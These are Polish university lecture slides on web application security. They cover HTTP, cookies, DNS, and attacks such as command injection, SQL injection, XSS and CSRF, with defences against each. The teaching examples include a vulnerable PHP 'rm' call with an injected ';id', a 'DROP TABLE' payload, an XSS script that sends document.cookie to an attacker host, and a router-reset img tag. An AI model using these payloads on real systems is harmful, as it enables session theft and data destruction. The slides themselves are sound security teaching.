wprowadzenie do kryptografii i...

58
12.12.2019 1 Wprowadzenie do kryptografii i bezpieczeństwa Po raz siódmy… Plan na dziś O bezpieczeństwie aplikacji WWW Podstawy: front-end, back-end HTTP i DNS Ataki server-side client-side Metody zapobiegania

Upload: others

Post on 09-Jul-2020

4 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

1

Wprowadzenie do kryptografii

i bezpieczeństwa

Po raz siódmy…

Plan na dziś

O bezpieczeństwie aplikacji WWW

Podstawy: front-end, back-end

HTTP i DNS

Ataki server-side client-side

Metody zapobiegania

Page 2: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

2

Architektura aplikacji webowej

Typowa aplikacja

Client-side

Server-side

Page 3: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

3

Trochę o historii…

Co to powoduje?

Zwróćmy uwagę, że coraz więcej logiki przenosi się do

front-endu

Po co?

Lepsza reakcja na to, co robi użytkownik

Strona nie musi przebudowywać się „od zera” po każdym

kliknięciu

Dlaczego?

XMLHttpRequest – możliwość wysyłania zapytań HTTP

z poziomu przeglądarki

Technika tworzenia stron AJAX (Asynchronous JavaScript and

XML)

Page 4: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

4

Dygresja: DOM

DOM – Document Object

Model

Opis budowy stron WWW

Opis interfejsów

programistycznych do

modyfikacji elementów

strony

Elementy strony to węzły

(ang. nodes)

Specyfikacja W3C dla

JavaScript i Java (!)

Podział (LoC)

Źródło: IBM (Ory Segal, Client-side JavaScript Security vulnerabilities)

Page 5: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

5

Ale czy tak się da?

Coraz lepsza obsługa bardziej zaawansowanych

technologii po stronie przeglądarek

Twórca strony nie musi martwić się, czy przeglądarka

poradzi sobie z jakimś zadaniem

Kiedyś: zrób wszystko po stronie serwera, to będzie działać

Teraz: liczy się też czas i przyjazność dla użytkownika

Przy okazji:

The Web Platform (platform.html5.org) – lista popularnych

technologii wspieranych przez przeglądarki

Can I Use (caniuse.com) – informacje o kompatybilności

przeglądarek

Can I use

Page 6: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

6

Dlaczego web jest problematyczny?

Użytkownik może wysłać do aplikacji webowej cokolwiek

Użytkownik może:

zmieniać zapytania

zmieniać nagłówki

zmieniać lokalne dane (cookies, local storage)

zmieniać kolejność zapytań

A kto powiedział, że użytkownik w ogóle musi korzystać

z przeglądarki lub dedykowanego klienta?

wget

curl

klient telnet (!)

Dlaczego web jest problematyczny?

Page 7: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

7

Dlaczego web jest problematyczny?

Szybki rozwój technologii

Co chwilę pojawiają się nowe stosy (CGI LAMP MEAN)

Nowe funkcje – wprowadzane bez analizy bezpieczeństwa

Mała świadomość webdeveloperów

Próg wejścia w webdevelopment jest niski

Sam tak zaczynałem

Ciągle nowe pomysły na ataki

Stare aplikacje, które trzeba wspierać (zaszłości

historyczne na poziomie projektu aplikacji i stosu

technologicznego)

Dlaczego web jest problematyczny?

Nawet jeśli biblioteki są aktualizowane, to często nie są

wymieniane na stronach

Źródło: Thou Shalt Not Depend on Me: Analysing the Use of Outdated JavaScript

Libraries on the Web, 2018, DOI: 10.14722/ndss.2017.23414

Page 8: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

8

Dlaczego web jest problematyczny?

Warto monitorować aktualny stan bezpieczeństwa

bibliotek

Przykład systemu: snyk.io

https://snyk.io/vuln/npm:jquery

Podstawowe protokoły

Page 9: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

9

Przesyłanie zróżnicowanych rodzajów danych zasobów

(ang. resource)

strony HTML

pliki graficzne, dane multimedialne

aplikacje

inne

Zasoby identyfikowane przez

URL – Uniform Resource Locator

URI – Uniform Resource Identifier

http://www.ki.agh.edu.pl/page/index.html

HTTP (HyperText Transfer Protocol)

HTTP

Protokół klient-serwer

serwer: Apache, nginx, Windows IIS…

klient:

najczęściej przeglądarka WWW (graficzna lub tekstowa)

specjalizowane aplikacje wykorzystujące HTTP do transferu danych

REST API

Protokół bezstanowy i bezpołączeniowy

działa w oparciu o model żądanie/odpowiedź

po dostarczeniu danych połączenie może być zamykane lub

utrzymywane (keep-alive)

Page 10: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

10

Komunikat HTTP

Nie ma ścisłego podziału na pola

(przetwarzany jak dane tekstowe)

Komendy oddzielone są końcem linii

Postać:

typ operacji, jedna linia

zero lub więcej linii z parametrami postaci:

nazwa: wartość

pusta linia

opcjonalne dane

zasób

treść formularza

Żądania i odpowiedzi HTTP

Żądania HTTP

GET

POST

HEAD

inne – PUT, DELETE

Odpowiedzi

kod odpowiedzi + tekst

Page 11: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

11

Żądania HTTP – GET

Używane najczęściej

Ciąg znaków identyfikujący zasób na serwerze

najprościej: statyczny zasób serwera

GET /dydaktyka/wyniki.html HTTP/1.1

parametry do skryptu lub bazy danych

GET /dane/script.cgi?field1=value1

&field2=value2 HTTP/1.1

Stosowane do pobierania małych ilości informacji

Żądania HTTP – POST

Żądanie nie jest zawarte w URL,

lecz w samym ciele informacji POST /dane/script.cgi HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

login=adam&password=trudne123

Często używane przy pobieraniu informacji dla

stron generowanych dynamicznie lub do wysyłania

formularzy

Page 12: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

12

Odpowiedzi HTTP

1xx – informacja

2xx – powodzenie, żądanie zrozumiane i zaakceptowane

np. 200 OK

3xx – musi zostać podjęta dalsza akcja

np. 301 Moved Permanently

4xx – błąd po stronie klienta

najczęściej: 404 Not Found, 403 Forbidden

5xx – błąd po stronie serwera

np. 500 Internal Server Error, 502 Bad Gateway

Odpowiedzi HTTP w pigułce

1xx – hold on

2xx – here you go

3xx – go away

4xx – you fucked up

5xx – I fucked up

@DanaDanger, twitter.com

Page 13: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

13

Nagłówki/parametry HTTP

Przykład żądania:

Accept-Encodin: ggzip, deflate

Accept-Language: pl,en-US;q=0.7,en;q=0.3

Connection: keep-alive

Cookie: filter=basic_summary; checkboxfilter=false

Host: cwe.mitre.org

Referer: http://cwe.mitre.org/data/definitions/601.html

Upgrade-Insecure-Requests:1

User-Agent: Mozilla/5.0 (Windows NT 10.0; …)

Gecko/20100101 Firefox/69.0

Nagłówki/parametry HTTP

Przykład odpowiedzi:

Accept-Ranges: bytes

Connection: Keep-Alive

Content-Type: text/html

Date: Sun, 03 Nov 2019 18:02:59 GMT

Keep-Alive: timeout=5, max=100

Server: Apache

Strict-Transport-Security: max-age=15768000; includeSubDomains

Transfer-Encoding: chunked

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Page 14: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

14

HTTP Cookies

Cookie – plik cookie, ciasteczko, itd.

Mechanizm przechowywania prostych informacji tekstowych po stronie przeglądarki

Wymyślone w Netscape, ustandaryzowane w 1997 r. (RFC 2109, aktualnie RFC 6265 z 2011 r.)

Ustawiane w nagłówku HTTP Set-Cookie przez serwer

Klient wysyła potem w żądaniach HTTP Cookie

Przykład:

SSID=AEftJftxaxdAWWe77;Domain=.google.com;Path=/;

Expires=Sat, 27-Jun-2019 17:19:06 GMT;Secure;HttpOnly

Do czego służą cookies?

Kontrolowanie odwiedzin użytkownika (liczniki,

informacja o powracającym użytkowniku na podstawie

losowego identyfikatora)

Kontrolowanie prezentacji strony (np. ukrywanie

elementów, które użytkownik chce ukryć)

Śledzenie sesji (cookie z session-id) – brak

konieczności logowania przy każdym przejściu do nowej

strony

Page 15: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

15

HTTP Cookies – atrybuty

nazwa=wartość – atrybut wymagany, faktyczne ciasteczko

expires=data – kiedy cookie traci ważność (po tym czasie przeglądarka przestaje go wysyłać do serwera i usuwa z pamięci), domyślnie ważne do końca sesji

domain=domena – domena (lub poddomeny), dla których cookie jest ważne, np. .example.com oznacza example.com oraz mail.example.com itd.

path=ścieżka – prefix zasobu, dla którego cookie ma być odsyłane, domyślnie / (np. /test działa dla adresów /test/index.php, /testowa/strona itd.)

HTTP Cookies – atrybuty

secure – cookie wysyłane tylko w połączeniach HTTPS

HttpOnly – dostęp do cookie w przeglądarce tylko przez HTTP (nie np. JavaScript)

Pozwala na utrudnianie ataków XSS, ale o tym później…

Page 16: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

16

Przydatność i bezpieczeństwo

Nie wolno opierać bezpieczeństwa/użyteczności

mechanizmów, którymi użytkownik mógłby manipulować,

w oparciu o cookies

Przykład: kontrola pojedynczych głosów w ankietach

Dużo użytkowników ma wyłączone cookies w ogóle

Cookies (bez HttpOnly oraz Secure) można próbować

wykraść i wykorzystywać do podszywania się pod

użytkownika

Znowu ataki XSS

Przydatność i bezpieczeństwo

Istnieją lepsze/nowsze mechanizmy:

Web Storage – standard W3C (sessionStorage i localStorage

dla JavaScript)

Web SQL – baza danych SQLite po stronie klienta, obecnie

porzucony standard W3C

Indexed DB – zaawansowane bazy, następca Web SQL

Local shared object – rozwiązanie Apple (czasem zwane Flash

cookies)

Oczywiście, przynoszą nowe problemy

Client-side SQL Injection

Page 17: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

17

Protokół HTTPS

Wykorzystywał SSL (Secure Socket Layer)

otwarty standard opracowany przez Netscape

Teraz TLS 1.2 i 1.3 (Transport Layer Security)

rozwiązanie oparte na kluczu publicznym

klucz: zazwyczaj 2048 lub 4096 bitów

szyfrowanie danych na czas transmisji kluczem sesji

Domyślnie używa portu 443 TCP

Zastosowania

pierwotnie banki, szpitale itd.

obecnie: wszystkie formularze logowania

DNS

Domain Name System

Odwzorowuje nazwę DNS na adres sieciowy

Przykład nazwy: www.agh.edu.pl

elementy oddzielone kropkami

hierarchiczność nazw

domena pierwszego poziomu: .com

domena drugiego poziomu: .cisco.com

Łatwiej zapamiętać napis, niż ciąg cyfr

(adres IP). Zwłaszcza w IPv6…

Page 18: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

18

Hierarchiczna budowa nazw

mil int gov edu com arpa mil org uk pl eu

edu

agh

www

noao

tuc

sun

in-addr

149

156

97

10

Korzeń (bez nazwy)

Domeny podstawowe Domeny geograficzne

www.agh.edu.pl

Domeny

pierwszego

poziomu

Domeny

drugiego

poziomu

Nazwy w DNS

Budowa hierarchiczna, zapisywana od najmniej do

najbardziej znaczącego, np.

www.ki.agh.edu.pl

Ostatni poziom: TLD – Top Level Domain

FQDN – Fully Qualified Domain Name

Nazwa kończy się kropką, chociaż w praktyce

rozpoznawana jest domena TLD.

Wielkość liter w nazwie domeny nie ma znaczenia.

Page 19: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

19

O prywatności

HTTPS

HTTPS & SSL doesn't mean "trust this."

It means "this is private." You may be

having a private conversation with Satan.

Scott Hanselman‏

Strony dostarczane po HTTPS mogą być zainfekowane!

Wystawca certyfikatu uwierzytelnia podmiot (mniej lub

bardziej dokładnie), ale tylko

w momencie wystawiania certyfikatu

Strona z HTTPS może później zostać skompromitowana…

Page 20: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

20

iFrame

iFrame – technika osadzania jednej strony wewnątrz

drugiej

Dużo starszych rozbudowanych stron tak funkcjonowało

Obecnie zaleca się inne metody

Można w ten sposób podstawić zainfekowaną treść pod

zaufanym adresem

Przeglądarka powinna to zauważyć…

Przekierowania

HTTP 302 (Found) – przekierowanie URL

Może prowadzić z potencjalnie bezpiecznego adresu na

niezaufaną stronę

Częsty problem w skracarkach linków

Te „lepsze” wyświetlają najpierw komunikat, do jakiego adresu

prowadzi skrót

Domain shadowing – złośliwe subdomeny w potencjalnie

zaufanej (ale przejętej) domenie

Page 21: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

21

HTTP Referer i window.opener

Przy kliknięciu odnośnika „nowy” serwer dostaje od

przeglądarki nagłówek HTTP Referer

Adres strony, z której przyszło kliknięcie

Zastosowanie:

Śledzenie, skąd przyszedł użytkownik – na potrzeby

promowania strony

Blokowanie hot-linkowania

Dostosowywanie strony do użytkownika

Potencjalny problem z prywatnością – wysyłanie nagłówka

można wyłączyć w przeglądarce

HTTP Referer i window.opener

Ale to nie wszystko…

target=_blank w odnośniku powoduje otworzenie strony

w nowym oknie/karcie

Stara strona pozostaje otwarta

Nowa strona posiada dostęp do DOM starej strony

Brzmi nieprawdopodobnie?

Krótkie demo…

Page 22: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

22

prev.html

Nasza strona do wejścia

Banalna w budowie…

<html>

<body>

<a href="next.html" target="_blank">AAAA</a>

</body>

</html>

next.html Docelowa strona

<!DOCTYPE html>

<html>

<body>

<p>Click the button to change previous site.</p>

<button onclick="myFunction()">Try it</button>

<script>

function myFunction() {

window.opener.location = 'http://google.com';

}

</script>

</body>

</html>

Page 23: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

23

HTTP Referer i window.opener

Co z tym zrobić?

Atrybuty rel="noopener noreferrer"

Przykład linku:

<a href="http://attacker-site.example.com/useful-

page.html" target="_blank" rel="noopener noreferrer">

noreferrer – wyłącza wysyłanie HTTP Referer, atrybut

standardowy

noopener – pozbawia dostępu do window.opener

z otwartej strony, rozwiązanie nieobecne w standardzie,

ale większość (wszystkie?) przeglądarki wspierają

Mixed Content

Sytuacja, gdy część zasobów strony dostarczana jest po

HTTPS, a część po HTTP

Dwie odmiany

Pasywny – po HTTP tylko treści nie wpływające na inne zasoby

(<img>, <video>, <audio>, <object>)

Aktywny – po HTTP elementy wpływające na inne zasoby (te

po HTTPS)

Polityka przeglądarek

Pasywny – dopuszczaj, ale ostrzegaj

Aktywny – blokuj

Są na to rozwiązania (CSP, HSTS)

Page 24: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

24

Ataki

Ataki (oczywiście tylko wybrane)

Server-side:

Command injection

SQL injection

Path traversal

Insecure direct object reference

Client-side:

XSS (Cross-site scripting)

XSRF (Cross-site request forgery)

Session hijacking / session fixation

HTTP response splitting/smuggling

HTTP injection

Open redirects

Page 25: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

25

Command injection

Command injection – wysłanie przez atakującego

polecenia, które wykona się po stronie serwera

Zazwyczaj w powłoce (bash)

Zazwyczaj wynika to ze złej obsługi wejścia użytkownika

Przekazywanie do funkcji systemowych

Ścieżki dostępu do plików

Wyobraźmy sobie kod strony…

<?php print("Please specify the name

of the file to delete…");

print("<p>");

$file=$_GET['filename'];

system("rm $file"); ?>

Dajmy użytkownikowi wpisać…

bob.txt;id

Co się wywołuje?

http://example.com/delete.php?

filename=bob.txt;id

Command injection

Page 26: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

26

Informacja zwrotna:

Please specify the name of the file to delete…

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Command injection

Trochę o bazach…

Podstawowym problemem są zapytania wysyłane do baz

danych

Aplikacja musi mieć dostęp do wszystkich danych, na których

operuje…

…ale zazwyczaj większość użytkowników aplikacji nie powinna

SQL injection – „wstrzykiwanie” zapytań

z poziomu aplikacji

Page 27: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

27

SQL – Structured Query Language

Podstawowy język zapytań do baz danych

Elementy:

DML (ang. Data Manipulation Language)

INSERT, UPDATE, DELETE

DDL (ang. Data Definition Language)

CREATE, DROP, ALTER

DCL (ang. Data Control Language)

GRANT, REVOKE, DENY

DQL (ang. Data Query Language)

SELECT

SQL

Przykłady:

SELECT EMPLOYEE_ID, NAME FROM EMPLOYEE_TABLE

WHERE EMPLOYEE_ID = '0000';

CREATE TABLE Customers (

ID varchar(80),

Name varchar(80),

Phone varchar(20),

....

);

SQL

Page 28: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

28

Przykłady:

DROP TABLE EMPLOYEE_TABLE;

CREATE TABLE Customers (

ID varchar(80),

Name varchar(80),

Phone varchar(20),

-- SOME COMMENTS…

);

DELETE FROM Customers

WHERE ID = 'Anna Nowak';

SQL

Wyobraźmy sobie aplikację…

Użytkownik wprowadza przez formularz wartość

$input_data = 1234;

$query = "SELECT * FROM users where id=$input_data";

Wykona się zapytanie:

SELECT * FROM users where id=1234

A co jeśli $input_data nie będzie równe czemuś

spodziewanemu?

SQL a aplikacje

Page 29: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

29

Wprowadzona wartość:

$input_data = "1; DROP TABLE users;"

$query = "SELECT * FROM users where id=$input_data";

Co powoduje uruchomienie zapytania…

SELECT * FROM users where id=1;

DROP TABLE users;

;

SQL a aplikacje

https://xkcd.com/327/

„Exploits of a Mom”

Page 30: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

30

Jak się chronić:

Uwierzytelnianie użytkowników przed zrobieniem

czegokolwiek

Dokładne parsowanie danych

przekazywanych przez użytkownika

SQL injection – ochrona

Cross-Site Scripting – wywołanie skryptu przez

przeglądarkę użytkownika

Wyobraźmy sobie, że na stronie zamieszczony zostaje

kawałek kodu:

<script>

window.location=

'http://attacker/?cookie=‘

+document.cookie

</script>

Dlaczego cookie?

Udaje użytkownika w trakcie sesji

XSS

Page 31: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

31

Persistent XSS

Typy XSS:

Persistent XSS – utrzymuje się po odświeżeniu strony,

zazwyczaj złośliwy kod zapisany przez atakującego w bazie

strony

Reflected XSS – tylko do odświeżenia strony

DOM-based XSS

DOM – Document Object Model

XSS

Page 32: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

32

https://excess-xss.com/

Reflected XSS

DOM-based XSS

Page 33: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

33

DOM-based XSS

Wynika z rosnącego zaawansowania przeglądarek

Skrypt nie wykonuje się podczas przetwarzania

odpowiedzi od serwera ze stroną

…tylko później podstawia elementy do prawidłowej zawartości

strony

Trudne do wykrycia po stronie serwera

Istnieją XSS, które nie wymagają wysłania skryptu do serwera

(zostaje lokalnie u klienta)

Jak sobie poradzić?

Walidacja wejścia (przede wszystkim) formularzy

XSRF

Cross-Site Request Forgery – próba zmuszenia

przeglądarki użytkownika do wykonania żądania (do

wskazanego adresu), którego użytkownik nie jest

świadomy

Zazwyczaj realizowane przez dostarczenie użytkownikowi

spreparowanej strony, na której znajduje się automatycznie

pobierany odnośnik (np. <img src=…)

Nie należy mylić XSRF i XSS

XSS często prowadzi do XSRF, ale nie jest wymagany

Jeśli strona jest podatna na XSS, to prawie na pewno da się

przeprowadzić atak XSRF

Page 34: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

34

XSRF

Wyobraźmy sobie blog, w którym ktoś dodał komentarz

<img src="http://192.168.1.1/goform/system/factory" />

Użytkownik wchodzi na stronę, chce załadować obrazek...

…a w tym czasie jego przeglądarka „wchodzi” na stronę

resetowania ustawień lokalnego routera

Rzeczywisty atak: CVE-2014-0621

(model: Technicolor TC7200 STD6.01.12)

XSRF

Page 35: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

35

XSRF

Kto jest winien?

Producent sprzętu – bo strona jest podatna na XSRF

Blog – bo nie filtruje danych wstawianych do komentarzy

A przeglądarka?

Nie. Atak opiera się o typową architekturę web

Ciężko wyobrazić sobie potwierdzanie przez użytkownika

pobierania każdego zasobu

XSRF

To dosyć popularny atak:

2006 – NetFlix (zamawianie filmów, zmiana hasła)

2007 – Gmail (formularz resetowania hasła)

2008 – ING Direct (możliwość robienia przelewów)

2008 – New York Times (narzędzie Email This)

2008 – YouTube (praktycznie wszystko )

2012 – Facebook (narzędzie Appcenter do tworzenia własnych

aplikacji, znalazca dostał 5000 $ z bug bounty)

2015 – Vimeo

Page 36: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

36

XSRF

Jest więcej tagów, które przyjmują adresy:

<script src="http://host/?command">

<iframe src="http://host/?command">

<script>

var foo = new Image();

foo.src = "http://host/?command";

</script>

XSRF

Jest więcej tagów, które przyjmują adresy (2):

<script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("POST", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { alert(xmlhttp.responseText); } }; xmlhttp.send(post_data); </script>

Źródło: https://www.cgisecurity.com/csrf-faq.html

Page 37: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

37

XSRF

Kilka dodatkowych aspektów:

Przeglądarka wykonująca żądanie znajduje się w innej sieci (ma

dostęp do sieci lokalnej, ma whitelistowany adres IP do panelu

administracyjnego itd.)

Może być już uwierzytelniona (cookie) przed stroną, do której

docelowo następuje XSRF

W żądaniu POST/GET można podać dane uwierzytelniania:

<img src="http://LOGIN:PASSWORD@ADRES_SERWERA" />

XSRF – przeciwdziałanie

Ochrona przy pomocy tokenów

Synchronized Token Pattern – generowana na początku sesji

użytkownika wartość pseudolosowa, którą przeglądarka musi

się posługiwać w kontaktach z serwerem

Miejsce tokenu:

CSRFToken – ukryte pole formularzy (wysyłane POST)

Odpowiednie cookie

Żądania AJAX-owe

Nie należy podawać tokenu w zapytaniach GET: widoczny

w logach serwera i przeglądsarki, URL-ach, może trafić na

inną stronę w HTTP Referer

Page 38: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

38

XSRF – przeciwdziałanie

Tokeny generowane raz na sesję – rozwiązanie wygodne,

zapewniające dosyć duże bezpieczeństwo…

…ale token może zostać wykradziony tak samo jak cookie

Session ID.

Tokeny generowane dla każdego żądania

Większe bezpieczeństwo (praktycznie nie do przechwycenia)

Obsługa niektórych operacji może być problematyczna –

powrót do poprzedniej strony przez użytkownika

Tokeny wstawiane w formularz przy pomocy JS uważa się

za bezpieczniejsze od podanych statycznie

Trudniej je znaleźć (np. obfuskacja kodu JS)

XSRF – przeciwdziałanie

A co jeśli atakowana strona wymaga uwierzytelniania?

Jeśli użytkownik ma sesję i przedstawia się cookie

z identyfikatorem sesji, to przeglądarka i tak je wyśle!

Cookie SameSite

Jeszcze niezdefiniowane standardem (draft-ietf-httpbis-

rfc6265bis-02 z kwietnia 2017)

Określa, kiedy przeglądarka wyśle dane (sesyjne) cookie

Strict – tylko przy odniesieniach z tej samej domeny (link z

zewnętrznej strony nie spowoduje wysłania cookie)

Lax – cookie wysyłane tylko w zapytaniach niezmieniających

stanu (np. proste GET)

None – obsługa jak bez SameSite

Page 39: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

39

XSRF – przeciwdziałanie

Interakcja z użytkownikiem

Ponowne zalogowanie w przypadku otrzymania przez serwer

„dziwnego” formularza

CAPTCHA

One-Time Token (np. SMS)

Session hijacking

Przypomnijmy sobie, w jaki sposób przeglądarka

rozpoznaje użytkownika

Zazwyczaj cookie Session-ID

Jeśli przechwycimy to cookie, to możemy udawać

użytkownika

Przykład: Firesheep (2010) i podsłuchiwanie ruchu HTTP

(głównie Facebook i Twitter)

Page 40: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

40

Session hijacking

Źródło: OWASP

Session hijacking – przeciwdziałanie

Ruch po HTTPS

Dużo trudniej przechwycić cookie

Sprawdzanie Session-ID oraz innego parametru:

Adresu IP – ale co z sieciami współdzielonymi?

Kluczy sesji SSL/TLS (rozwiązanie zaproponowane na NordSec

2013)

Długie losowe Session-ID

Dalej nie chroni przed podsłuchaniem, ale przynajmniej trudniej

zgadnąć

Osobne Session-ID dla każdego żądania

Wymuszenie wylogowania użytkownika

Page 41: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

41

Session fixation

Session fixation – atak analogiczny do session hijacking, ale

z wymuszeniem identyfikatora sesji

